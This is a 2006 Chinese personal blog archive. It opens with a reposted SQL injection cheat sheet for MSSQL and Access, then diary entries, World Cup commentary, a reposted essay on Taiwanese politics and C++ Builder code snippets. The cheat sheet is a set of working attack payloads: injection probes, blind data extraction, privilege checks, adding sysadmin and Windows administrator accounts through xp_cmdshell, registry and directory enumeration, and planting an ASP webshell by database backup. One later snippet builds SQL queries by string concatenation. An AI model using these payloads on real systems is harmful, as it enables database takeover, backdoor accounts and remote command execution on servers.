2006年07月24日

信息来源:老邪博客

1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符’and [查询条件] and ”=’

4.搜索时没过滤参数的’and [查询条件] and ‘%25′=’

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’));–
;and 1=(select IS_MEMBER(‘db_owner’));–

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–

;exec master.dbo.sp_password null,username,password;–

;exec master.dbo.sp_addsrvrolemember sysadmin username;–

;exec master.dbo.xp_cmdshell ‘net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;–

;exec master.dbo.xp_cmdshell ‘net user username password /add’;–

;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(‘上步得到的paths’))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;– 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;– 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'CommonFilesDir’ 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'TestValueName’,'reg_sz’,'hello’ 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'TestValueName’ 删除某个值

xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (‘<% Dim oScript %>’);
backup database model to disk=’c:\l.asp’;

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model

create table cmd(str image);

insert into cmd(str) values (‘<%=server.createobject("wscript.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>’);

backup database model to disk=’g:\wwwtest\l.asp’;

2006年07月21日

       自由引领着Linux,共同的憧憬让uplinux和Xplore走到了一起,不是Mop并购Donews,不是sohu收购chinaren,在纯自由的世界里,只有精神的融合,没有精神的收购。
       UPLinux.com 创立于2001年,五年来,从"Linux安全网络"的个人站点,发展为 UPLinux 升级站、UPLinux
技术论坛,直到今天的 "极限Linux"。在此期间得到了众多 Linux  爱好者的支持,也为大量 Linux爱好者提供了服务器资源,为其创立开源项目提供技术支持。在人气旺盛的时期,网站在大家的建议下,先后两次成立了UPLinux技术团队,但是后来由于种种原因,团队的发展始终没有成形,网站也由于站长精力问题,不能全面为爱好者提供更好的技术资源。但UPLinux没有也不会放弃。
      Xplore创立于2004年,从国内仅有的几个网络存储实验室之一<a href="http://cie.xtu.edu.cn/snl
">snl实验室</a>的里走出来的mlsx,将GNU的精神带到湘楚大地,很快,一群技术狂热者加入了这个团队,同年开通了Xplore.cn,一步步发展壮大。Xplore.cn从信息并不发达的湖南走出来,在网路如此浮躁的今天,一直以Linux技术为主要方向。但是面对低迷的人气Xplore却感到彷徨,是曲高和寡还是太过严肃?Xplore知道,自己必须坚持这个方向,但有了方向,还要有好的方式,事实上,xplore.cn一直在试着调整自己的表现形式,希望吸引更多的爱好者加入Linux的阵营里来。
      Uplinux 和Xplore都意识到需要改变的时候,同在国内最大的Linux发行商RedFlag Linux 的两位站长走到了一起,几次沟通也促成了这次融合。互补,形成国内Linux的门户,是双方对未来发展达成的共识。现在共识马上转化为行动,论坛已经全面整合,形成了内容更加健壮更加明确的Linux社区。
     Xplore的原意在探索,uplinux的原名叫极限Linux,但是我们知道,在探索Linux、探索自由的道路上,我们是永远没有极限的。一个全面、权威的Linux门户呼之欲出,让自由引导我们的目光,共同关注中国Linux的发展、关注现x-uplinux的发展!

2006年07月17日

       这一个月因为雪的到来而变得忙碌,但在工作中却有似乎失去了重心,付费下载系统因为文曲星端数据读取的瓶颈而陷入了僵局,我这边的开发也变得慢条斯里了,一般是2天解决一个bug或者完善一个功能。
        大部分的时间花在了5ifootball上面,世界杯结束了,联赛也快了,论坛的人气还是不足,等真的做起来才发现同类型的网站太多了。而我们在缺少人力物力的条件下很难作出吸引人的东西来,而且主题似乎是定大了,分类也不太明析。
      更为关键的是我不可能一直花这么多时间去整这个东东了。周六和雪算了下这个月来她店里的收入和支出,发现赚的钱基本都被消费了。关键是两个人还累得够呛,她每天早出晚归,我为接她也经常如此。我们合计了一下,是改另谋出路了。
       这段时间,她应该请个营业员,然后找下其他的门路。先把家里的宽带接上,然后找下相关资料。
       而我其实很犹豫,换工作、要求加薪、甚至想过考研。今天回家好好想想。

2006年07月14日

      这几天一直弄www.5ifootball.com,但是好像人气还是提不高,弄几个插件因为对utf8的支持不好,走了很多弯路,真是郁闷!
      donews的blog似乎越来越慢了,弄得几次想写都没写下来,但是在这里写了这么久,有不想离开,如同住久了地方要搬家,虽然心情喜悦,但是往往要费尽周折。所以也就忍着点.
      雪过来后我比以前更忙了,她天天挺辛苦的,我只有尽量多做点家务事,还有就是我的生活水平似乎提高了点,衣食住行有个女人就是不一样了。
       生意还只一般般,我的工资也没加,应该想下其他出路了。

2006年07月10日

       昨晚2点爬起来看决赛,一开始就希望能90分钟解决问题,好让自己能多睡下。可比赛还是打了2个多小时,早上在城铁上被一群人挤来挤去,也舍不得睁开眼睛,昨夜的兴奋,到这时只残留了困倦.
      尽管我努力让自己客观的去看比赛,但是我对意大利还是有点偏好的,赛前我也说意大利会胜利,而且好多媒体和评论员也猜测会要加时。其实意大利在场上特别 是下半场以后根本没有优势可言,但是这也是意大利习惯的打法,他们的防守太出色,虽然他们的反击今天打得不够精彩。
      齐达内还在延续上几场比赛的神勇状态,加图索似乎对他没有办法,但结束前那个令人匪夷所思的头顶马特拉齐,也让巨星的谢幕战显得戏剧味十足。
      维埃拉的受伤其实并没有影响到法国的发挥。但是他和齐达内还有亨利的下场也为点球中的失利埋下了伏笔。
      整场比赛的关键任务是马特拉齐,开场几分钟是他的犯规让法国队早早领先,后面他的头球又拯救了意大利,加时中也是他对齐达内神奇的几句话让巨星以不光彩的下场告别。
      托蒂似乎隐身了,皮尔洛的脚法和传递还是起到了关键性的作用,赞布罗塔、卡纳瓦罗等铁卫表现太好,意大利的钢筋混泥土因为他们而名副其实。
      意大利夺冠是我所希望的,一是一直以来对意大利足球有感情,而是意甲的危机似乎也需要这个冠军奖杯。而回顾意大利的比赛历程,救世主好像是“伟大的意大 利左后卫格罗索”,不只是对澳大利亚的那个点球,还有对德国的那个进球,再加上决赛的点球大战,最后一个点球正是他踢的!
      这个德国的夏天,给了我们许多快乐,累是累点,但是我们累并快乐着!

2006年07月07日

     每次大赛之前,球迷朋友们就开始翻阅对抗历史,这里我也给出法国和意大利的历史战绩:
      意大利28年不胜
      历史上双方总共有32次交锋记录,意大利17胜8平7负、进75球失44球占据绝对优势。
      在世界杯决赛阶段的比赛中双方共有4次交锋记录:1938年法国世界杯上意大利3-1取胜;40年后的阿根廷世界杯上,意大利再度以2-1告捷。不过在1986、1998年两届杯赛中法国队分别以2-0、0-0(点球4-3)的比分笑到了最后。
      尽管历史战绩占优,然而意大利上一次击败法国还要追溯到1978年的阿根廷世界杯上,当时意大利以2-1击败对手。从那以后的28年里意大利逢法国不胜,他们的战绩为1平5负。
      太远的历史也许没有近期战绩的说服力,所以媒体和球迷普遍看好法国.98年到02年是法国足球的鼎盛时期,这时期的灵魂人物齐达内的作用和影响力已经超 越法国历史上所有球星,包括普拉蒂尼.而法国从02年韩日世界杯后一度陷如低谷.这届杯赛法国队在小组赛中跌跌撞撞的出局也让大家觉得法兰西王朝已经是末 代衰落.
      近几十年的意大利一直扮演着悲情的角色,我们这一代的球迷提起巴乔的背影无不动容,点球大战这种其实技术含量并不高的对抗,往往让我们有胜非英雄、败却 悲怆的感觉。所以中国球迷中喜欢意大利的人太多了,加上意大利队每次绝对是帅哥最多的队伍,也让她多了不少女球迷。黄健祥在意奥对战中的失态应该是真情流 露,资深的解说员对意大利如此顶礼膜拜,足见篮色军团的魅力!
      但是近期开始,特别是98年开始看球的人可能更多是法国的球迷,每个王朝都有崇拜者,法兰西也不例外,我有个同事看球不多,最近却疯狂喜欢上了法国。齐达内的回归让大家无力抗拒大师的魅力!
      瞎扯这么多,来说说比赛的结果。这届的意大利其实很全面,后卫就不用说,意大利生产着一直世界上最好的后卫,然后中场皮尔洛的调度简直无敌,他的作用有 点像齐达内,又有点像贝克汉姆。然后托尼是这届意甲最佳射手,还有吉拉蒂诺,老蒋因扎吉,皮耶罗,托蒂(9号半)。这是一直无所位畏惧的队伍,技术和身体 兼备。
     法国有齐达内有维埃拉有亨利有马克莱莱,这都是能一人扛一方的人物。
     所以应该说双方棋鼓相当,但是好像看好法国的人更多,但是不要忘了98年大家普遍看好的可是巴西,所以也许等待才是最好的办法。

2006年07月04日

今天这一课:品格 (龙应台)

光荣的一日

  今天,是一个光荣的日子。将来的历史会写到,在2006年6月27日这一天,台湾人行使罢免权,督促一个总统下台。

  不论今天的罢免结果如何,台湾人民又在华文世界的民主进程和宪政史上,竖立了一个全新的里程碑。

  表面上,台湾一片动荡;人们每天看见、听见,被铺天盖地包围的,是电子媒体的夸张和耸动、 街头巷尾的挑衅和喧嚣、丑闻弊案的揭发或遮盖、领导人物的尊严扫地、意见菁英的各说各话。民主似乎堕落成只剩下政治操作的尔虞我诈;价值的混淆,是非的颠 倒,社会互信的严重腐蚀,使人开始怀疑,这一切是否值得。

  但是,你不能不看见,在这喧嚣混乱的同时,人民在集体补课,补修在威权时代里不准你修的公民课。

  每一件贪腐弊案的揭露,都使政府的权力运作增加一分透明。每一篇对金融勾结的报道,都使人 民对公共政策多一份警惕。每一次政治人物的演出,都使人民更熟悉他的伎俩,看穿他的破绽,认清他的品质。不要小看了台湾人民,台湾人民在弊案中累积他对权 力本质的认识,在喧嚣中磨利他对政治人物的判断,在纷纭中加深他对公共政策的理解,在混淆中培养他对真伪价值的辨识。

  他挣脱了权威的束缚,实践过选举,实验过公投,现在,他再跨出一步,敢于尝试罢免。罢免可以不成功,但是人民已经给政治人物一个清清楚楚的警告:我可以选你,就可以罢免你。

  世界上没有人能否认:台湾有的,是整个华人世界里政治敏感度、成熟度、自主性最高的公民群体。

  补课的代价可能很高,可是成熟的过程没有不痛苦的;今天,我以身为台湾公民为荣。

足球不只是足球

  

  每个国家都有自己的历史负担。昨天,收到一封电邮,作者是一个17岁的德国少年:

  “麦茵河中央搭起一个大得不能再大的电视屏幕,两边都可以看到球赛现场转播。河两岸挤满了人,新闻说,起码有30万人聚到河边来,隔着中间的河水,两岸对看。

  马路上、河岸边、广场上、酒馆里,挤满了人,各色人种……最奇怪的是,每个人都在微笑,都在拥抱,都在唱歌。我从来没见过德国人对彼此那么友善,对陌生人那么热情,我从来没见过德国人那么喜悦,那么开怀。

  我也从来没见过这么多德国国旗同时出现——几千几万幅国旗在人们的手里挥舞飘动。我从来没 见过德国人那么以自己的国家‘自豪’,其实,我从来没见过德国人以自己的国家‘自豪’过——这真是第一次。大家在挥舞国旗为德国队加油的时候,好像纳粹的 阴影真的消失了,好像人们突然发现——我们是德国人,是一体的。

  我这才发现,这次主办足球世界盃,对德国人的‘认同’是多么、多么重要的一件事。我很吃惊。”

  这个17岁的德国青年以一种最天真的方式认识了政治领袖们非常明白的一种规则:成功地主办 国际体育竞赛可以给国民带来自豪感以及向心力。在全世界的注目之下,把盛会办得风光,人民会以他所属的国家为荣;国际竞技所带来的“同舟共济”和“同仇敌 忾”的情感,又能加深人民的国家认同和社会凝聚。每一个有能力的国家都铆足了劲在竞争重大国际竞技或博览的主办权,除了经济考量之外,这“凝聚认同”、给 国人光荣感的政治考量,是一个核心因素。

元首不只是经理

  

  一个国家的元首,在我的理解,有四个核心的责任:第一,不管国家处境多么艰困,他要有能耐 使人民以自己的国家为荣,使国民有一种健康的自豪感。第二,不管在野势力如何强悍,他要有能耐凝聚人民的认同感,对国家认同,对社会认同,尤其是对彼此认 同。第三,他要有能耐提得出国家的长远愿景。人民认同这个愿景,心甘情愿为这个愿景共同努力。第四,他不必是圣人,但他必须有一定的道德高度,去对外代表 全体人民,对内象征社会的价值共识。小学生在写“我的志愿”时,还可能以他为人生立志的效法对象。

  以这个标准来衡量带领台湾人进入21世纪的这位元首,是的,他近乎灾难性地不及格。

  当他在空中做外交“迷航”的时候,当他让霸气的美国政府直接或间接羞辱他的时候,台湾人没 有自豪感可言,只有沈默的屈辱。当他用充满暴力暗示和诱引冲突的语言对人民说,“我愿意牺牲,扣扳机吧”的时候,台湾的社会是被精心设计地撕开割裂,而不 是和解和凝聚。当他对一件又一件的弊案无法澄清,前后矛盾,而同时又拒绝反省的时候,他不是一个道德典范,他是一个典范的颠覆与嘲弄。

  至于可憧憬的愿景——谁说得出什么是台湾的愿景?这个社会,已经有好几年,没有人在谈愿景了。举国的力气,投掷在对一个人的争执上。一个应该是解决问题的枢纽,变成问题的来源。

  我们赋予元首的任务,是让他以超出我们的道德力量去做教育孩子的人格典范。是让他以高于我们的眼光,为我们找到方向,指出梦想之所在。是让他以远比我们开阔的胸襟去把那撕裂的,缝合;使那怨恨的,回头;将那敌对的,和解;把那剑拔弩张的,春风化雨。

  他回报我们的,却正好是一切的反面。

  这个是非,在我眼中,是分明的。元首不是一个公司的总经理,只需谈执行绩效和法律责任。对于元首,法律责任只是最低要求、最末端的一件事;他第一要担起的是政治责任和道德责任。政治责任和道德责任都不是依靠法律条文来规范的。

  规范政治和道德责任的,是一个社会的整体文明和教养。

谁教过他“品格”?

  

  当一个元首成为“千夫所指”时,一个深层问题必须追究的是,这样的元首和他的裙带集团,究竟是怎么产生的?

  他们的家庭和小学教育,有没有教过他们,一介不取是基本操行,诚实是第一原则?他们的中学教育,有没有教过他们,公和私的界线要严格分明,人要为自己的行为负责?

  元首的大学法律系教育,有没有教过他:最大的权力必须以最大的谦卑来承担?有没有教过他韩 愈在1200年前说过的话:“有官守者,不得其职则去”?有没有教过他萨穆尔·斯迈尔斯在130年前说过的话:“一个伟大的国家领袖在他身后留给国家的财 富是,一个毫无瑕疵的生活楷模,是所有后人在形成自己品格时仿效的榜样”?

  他所一路成长的社会环境——父母、长辈、老师、社区、媒体、整个教育系统,有没有给过他一种熏陶,一种教训,告诉他:没有品格,权力可能就是灾难?

  培养了他的政党,在台湾民主进程上曾经做过伟大贡献的这个党,有没有认识到,人民当初是因为对这个政党的品格有所信任才将权力交给了它,而将来人民还迫切地需要它,重建清新的品格力量,去监督和对抗下一轮可能腐败的新的执政者?

  今天拼命为他辩护的人,是为了什么而为他辩护?品格和道德, 在民主政治里, 究竟还算不算数? 今天反对他的人,又是为了什么而反对?是真正原则的坚持,还是党派权力的便宜计算?

  如果我们的家庭、学校、社会、政党,从来就不曾把品格和教养看做教育的关键内容,如果我们 的政府,从来就没把公民素养看做国家的教育大计,如果有了民主制度,但是制度里的人民本身是一个对于品格根本不在乎的群体,那么选出一个无能、无识又严重 缺乏耻感的总统,我们为什么惊异呢?

  任何一个政治人物,都是社会的整体文明与教养的产物。检讨他、批判他的同时,这个社会本身的公民教育和品格培养,恐怕更值得我们深深、深深地思索。

一点也不差

  

  所以,罢免通过不通过,哪里是真正的意义所在呢?罢免的真正历史意义其实在于,透过罢免的 提出,台湾人民用无比清晰的声音做出宣示:民主不是民粹,自由不是放任,容忍不是抛弃原则,人民长大,不代表不需要典范。透过罢免的提出,人民在考验自己 对大是大非有多少坚持,对社会进步的力量有多少信心,对不该忍受的行为他如何决断,对值得奋斗的目标他如何执着。

  一课一课地上,一关一关地过;一路走来,台湾人,你一点也不差。

2006年07月03日

        if(maintype != "0" )
        {
            sql += "where 文件主类型 like ‘" +maintype ;
            sql += "’"   ;
            if(subject != 0 )
            {
                sql += " and 文件分类型 like ‘"+ subject ;
                sql += "’"   ;
            }

        }
        else if(subject != 0)
        {
            sql += " where 文件分类型 like ‘ "+ subject ;
            sql += "\’"   ;
        }
        //sql ="SELECT * FROM filelist where 文件主类型 like ‘娱乐’ and 文件分类型 like ‘音乐’"  ;
        ShowMessage(sql);
就因为最后的like多了一个空格,sql死活找不到东东!

        有人把英格兰的失利说成是埃里克森一个人的错,当然这个片面,一场比赛的胜负往往是多种原因造成的,结局已定,这些只能是饭后的谈资。因为“有些事总是来不及回不去”,更何况是比赛。
       但是比赛的时候人总是抱着希望的,我不知道埃里克森怎么会用应该是近年来最强的英格兰队排出这么保守的阵形,4,1,4,1,真的很难理解这个阵形的好 处。当不冷静的鲁尼遭遇红牌时,我其实都不怎么意外,因为报道说他成熟了,其实只是一相情愿。鲁尼要是乖乖的就不是鲁尼,就想当年的加斯科因,一样的天 才,一样的让人难以理解。或许萨特的学说可以帮大家释疑:存在就是有理,鲁尼没错,只是他不是我们希望的那样而已。
       鲁尼下去以后,小贝换下了,据说是伤了,我这是寄希望于乔科尔,我觉得没有前锋的英格兰需要他的突破和远射,结果马上他就被克鲁奇换下,也许埃里克森是对的,球队不能没有前锋,但我还是失望了。
      这时候我寄希望于杰拉德,这个善于在逆境重创造奇迹的利物浦英雄,去年冠军杯上的逆转AC,足总杯上的逆转西汉姆联队,杰拉德扮演过救世主的角色。但是他也许只是利物浦的救世主,却拯救不了英格兰。
      最后时刻我们寄希望于门将罗宾逊,他和侠盗罗宾逊一样么,可惜罗宾逊是射箭的高手,不是接箭的精英。
      10人英格兰其实打得很卖力,而且似乎把潜力给激发出来了,可惜她毕竟让我失望了。

2006年06月30日

//将字符串按照特定分隔符,分割后在ListView中分页显示
void TMainForm::PageShow(AnsiString buffer,  int pageNo)
{
    // 获取ListView每页显示的行数
    int PerPageRow = SendMessage(fileListView->Handle, LVM_GETCOUNTPERPAGE, 0, 0);
    ShowMessage(PerPageRow);
    //int PerPageRow =  2;
    //将文件列表载入Listview
    TStringList *Line = new TStringList();//行
    TStringList *Item = new TStringList(); //数据项
    Line = Str2Strlist(buffer, ‘\r’);
    int LineNum;
    LineNum = Line->Count;  //总行数
    if (LineNum==0)
    {
        ShowMessage("没有数据!");
        return ;
    }

   //—————分页显示—————————
    int pageNum;  //总页数
    if(PerPageRow!=0)
    {
        pageNum  = (LineNum / PerPageRow);
        pageNum = ((LineNum % PerPageRow) != 0 ? pageNum + 1 : pageNum);
        pageNum = (pageNum == 0 ? 1 : pageNum);
    }
    AnsiString pagetext;
    for(int f=1; f<=pageNum; f++)
    {
        pagetext += IntToStr(f)+"\n";
    }
    pageno->Items->CommaText = pagetext ;
    //ShowMessage(pagetext);
    int beginLine,endLine; //开始和结束行数
    beginLine = (pageNo-1)*PerPageRow;
    endLine = pageNo*PerPageRow;
    //ShowMessage(beginLine);
    //ShowMessage(endLine);

    for(int i=beginLine;i<endLine;i++)
    {
        Item = Str2Strlist(Line->Strings[i],’\&’);
        TListItem *p;

        p = fileListView->Items->Add();
        p->Caption = Item->Strings[0];
        for(int j=1;j<Item->Count;j++)
        {
            p->SubItems->Add(Item->Strings[j]) ;
        }
        p->SubItems->Add("") ;
    }
    delete Item;
    delete Line;

}